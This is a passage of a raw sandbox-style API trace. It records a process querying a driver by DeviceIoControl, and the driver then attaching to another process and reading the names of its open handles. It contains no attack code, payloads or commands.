ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0012500e0, HandleInformation=0x0) returned 0x0 [0068.303] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.303] PsReleaseProcessExitSynchronization () returned 0x2 [0068.303] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.303] ObQueryNameString (in: Object=0xfffff8a0012500e0, ObjectNameInfo=0xfffffa8003972044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003972044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.303] ObfDereferenceObject (Object=0xfffff8a0012500e0) returned 0x1 [0068.303] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.303] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.303] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.303] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.303] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.303] PsAcquireProcessExitSynchronization () returned 0x0 [0068.303] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.303] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00206f1f0, HandleInformation=0x0) returned 0x0 [0068.303] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.303] PsReleaseProcessExitSynchronization () returned 0x2 [0068.303] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.303] ObQueryNameString (in: Object=0xfffff8a00206f1f0, ObjectNameInfo=0xfffffa8003973044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003973044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.303] ObfDereferenceObject (Object=0xfffff8a00206f1f0) returned 0x1 [0068.303] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.304] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.304] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.304] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.304] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.304] PsAcquireProcessExitSynchronization () returned 0x0 [0068.304] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.304] ObReferenceObjectByHandle (in: Handle=0x28c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089e92b0, HandleInformation=0x0) returned 0x0 [0068.304] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.304] PsReleaseProcessExitSynchronization () returned 0x2 [0068.304] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.304] ObQueryNameString (in: Object=0xfffff8a0089e92b0, ObjectNameInfo=0xfffffa8003974044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003974044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.304] ObfDereferenceObject (Object=0xfffff8a0089e92b0) returned 0x1 [0068.304] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.304] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.304] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.304] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.304] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.304] PsAcquireProcessExitSynchronization () returned 0x0 [0068.304] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.304] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001247880, HandleInformation=0x0) returned 0x0 [0068.304] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.304] PsReleaseProcessExitSynchronization () returned 0x2 [0068.304] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.304] ObQueryNameString (in: Object=0xfffff8a001247880, ObjectNameInfo=0xfffffa8003976044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003976044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.304] ObfDereferenceObject (Object=0xfffff8a001247880) returned 0x1 [0068.304] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.304] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.304] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.304] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.304] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.304] PsAcquireProcessExitSynchronization () returned 0x0 [0068.304] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.304] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001b237a0, HandleInformation=0x0) returned 0x0 [0068.305] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.305] PsReleaseProcessExitSynchronization () returned 0x2 [0068.305] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.305] ObQueryNameString (in: Object=0xfffff8a001b237a0, ObjectNameInfo=0xfffffa800397d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.305] ObfDereferenceObject (Object=0xfffff8a001b237a0) returned 0x1 [0068.305] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.305] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.305] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.305] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.305] PsAcquireProcessExitSynchronization () returned 0x0 [0068.305] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.305] ObReferenceObjectByHandle (in: Handle=0x2b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001625eb0, HandleInformation=0x0) returned 0x0 [0068.305] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.305] PsReleaseProcessExitSynchronization () returned 0x2 [0068.305] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.305] ObQueryNameString (in: Object=0xfffff8a001625eb0, ObjectNameInfo=0xfffffa800397e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.305] ObfDereferenceObject (Object=0xfffff8a001625eb0) returned 0x1 [0068.305] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.305] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.305] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.305] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.305] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.305] PsAcquireProcessExitSynchronization () returned 0x0 [0068.305] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.305] ObReferenceObjectByHandle (in: Handle=0x2cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0017fefc0, HandleInformation=0x0) returned 0x0 [0068.305] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.305] PsReleaseProcessExitSynchronization () returned 0x2 [0068.305] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.305] ObQueryNameString (in: Object=0xfffff8a0017fefc0, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.305] ObfDereferenceObject (Object=0xfffff8a0017fefc0) returned 0x1 [0068.305] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.306] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.306] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.306] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0068.306] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.306] PsAcquireProcessExitSynchronization () returned 0x0 [0068.306] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.306] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800346f580, HandleInformation=0x0) returned 0x0 [0068.306] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.306] PsReleaseProcessExitSynchronization () returned 0x2 [0068.306] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.306] ObQueryNameString (in: Object=0xfffffa800346f580, ObjectNameInfo=0xfffffa8003980044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003980044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.306] ObfDereferenceObject (Object=0xfffffa800346f580) returned 0x2 [0068.306] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.306] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.306] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.306] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.306] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.306] PsAcquireProcessExitSynchronization () returned 0x0 [0068.306] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.306] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001811930, HandleInformation=0x0) returned 0x0 [0068.306] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.306] PsReleaseProcessExitSynchronization () returned 0x2 [0068.306] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.306] ObQueryNameString (in: Object=0xfffff8a001811930, ObjectNameInfo=0xfffffa8003981044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003981044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.306] ObfDereferenceObject (Object=0xfffff8a001811930) returned 0x1 [0068.306] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.307] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.307] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.307] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.307] PsAcquireProcessExitSynchronization () returned 0x0 [0068.307] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.307] ObReferenceObjectByHandle (in: Handle=0x2e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001b633e0, HandleInformation=0x0) returned 0x0 [0068.307] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.307] PsReleaseProcessExitSynchronization () returned 0x2 [0068.307] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.307] ObQueryNameString (in: Object=0xfffff8a001b633e0, ObjectNameInfo=0xfffffa8003982044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003982044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.307] ObfDereferenceObject (Object=0xfffff8a001b633e0) returned 0x1 [0068.307] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.307] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.307] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.307] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.307] PsAcquireProcessExitSynchronization () returned 0x0 [0068.307] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.307] ObReferenceObjectByHandle (in: Handle=0x2ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001a63b80, HandleInformation=0x0) returned 0x0 [0068.307] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.307] PsReleaseProcessExitSynchronization () returned 0x2 [0068.307] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.307] ObQueryNameString (in: Object=0xfffff8a001a63b80, ObjectNameInfo=0xfffffa8003983044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003983044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.307] ObfDereferenceObject (Object=0xfffff8a001a63b80) returned 0x1 [0068.307] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.307] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.307] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.307] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.307] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.307] PsAcquireProcessExitSynchronization () returned 0x0 [0068.307] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.308] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00179dd10, HandleInformation=0x0) returned 0x0 [0068.308] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.308] PsReleaseProcessExitSynchronization () returned 0x2 [0068.308] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.308] ObQueryNameString (in: Object=0xfffff8a00179dd10, ObjectNameInfo=0xfffffa8003984044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003984044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.308] ObfDereferenceObject (Object=0xfffff8a00179dd10) returned 0x1 [0068.308] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.308] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.308] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.308] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.308] PsAcquireProcessExitSynchronization () returned 0x0 [0068.308] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.308] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f44bf0, HandleInformation=0x0) returned 0x0 [0068.308] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.308] PsReleaseProcessExitSynchronization () returned 0x2 [0068.308] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.308] ObQueryNameString (in: Object=0xfffff8a001f44bf0, ObjectNameInfo=0xfffffa8003985044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003985044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.308] ObfDereferenceObject (Object=0xfffff8a001f44bf0) returned 0x1 [0068.308] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.308] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.308] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.308] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.308] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.308] PsAcquireProcessExitSynchronization () returned 0x0 [0068.308] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.308] ObReferenceObjectByHandle (in: Handle=0x2f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0012483d0, HandleInformation=0x0) returned 0x0 [0068.308] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.308] PsReleaseProcessExitSynchronization () returned 0x2 [0068.308] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.308] ObQueryNameString (in: Object=0xfffff8a0012483d0, ObjectNameInfo=0xfffffa8003986044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003986044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.308] ObfDereferenceObject (Object=0xfffff8a0012483d0) returned 0x1 [0068.308] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.309] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.309] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.309] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.309] PsAcquireProcessExitSynchronization () returned 0x0 [0068.309] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.309] ObReferenceObjectByHandle (in: Handle=0x310, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001f537a0, HandleInformation=0x0) returned 0x0 [0068.309] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.309] PsReleaseProcessExitSynchronization () returned 0x2 [0068.309] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.309] ObQueryNameString (in: Object=0xfffff8a001f537a0, ObjectNameInfo=0xfffffa8003987044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003987044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.309] ObfDereferenceObject (Object=0xfffff8a001f537a0) returned 0x1 [0068.309] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.309] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.309] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.309] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.309] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.309] PsAcquireProcessExitSynchronization () returned 0x0 [0068.309] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.309] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001ef47c0, HandleInformation=0x0) returned 0x0 [0068.309] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.309] PsReleaseProcessExitSynchronization () returned 0x2 [0068.309] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.309] ObQueryNameString (in: Object=0xfffff8a001ef47c0, ObjectNameInfo=0xfffffa8003988044, Length=0x800, 